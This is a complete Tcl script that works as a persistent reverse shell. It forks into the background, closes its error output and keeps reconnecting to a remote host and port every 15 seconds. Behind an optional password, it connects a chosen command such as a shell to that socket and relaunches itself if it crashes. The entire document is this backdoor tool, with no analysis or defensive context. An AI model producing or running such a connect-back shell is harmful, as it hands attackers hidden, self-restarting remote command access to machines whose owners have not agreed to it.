#!/usr/bin/tcl -n
set host [lindex $argv 0]
set port [lindex $argv 1]
set comm [lindex $argv 2]
set pass [lindex $argv 3]

if {$comm==""} { 
  puts "Usage:\n\t$argv0 <host> <port> <command> \[<password-file>\]"
  exit 1 
}
if {[fork]!=0} { exit 0 }
close stderr

if {$pass!=""} {
  set passId [open $pass r]
  gets $passId passwd
  close $passId
} else {
  set passwd ""
}

proc bgerror {error} {
  catch { puts "Crashed!  restarting" }
  exec $argv0 $argv \&
  exit
}

proc copyline {inId outId} {
  global forever
  catch {
    gets $inId ln
    puts $outId $ln
    flush $outId
  }
  if {[eof $inId] || [eof $outId]} { set forever 1 }
}

while {1} {
  set checkpass ""
  set sockId ""
  cd "~"
  catch { set sockId [socket $host $port] }
  if {$sockId!=""} {
    fconfigure $sockId -blocking 1
    if {$passwd!=""} {
      puts $sockId "Enter your password: "
      flush $sockId
      gets $sockId checkpass
    } else {
      set checkpass ""
    }
    if {$checkpass==$passwd} { 
      set commId [open "|$comm" a+]
      fileevent $sockId readable "copyline $sockId $commId"
      fileevent $commId readable "copyline $commId $sockId"
      vwait forever
    }
    catch { close $sockId }
    catch { close $commId }
  }
  sleep 15
}
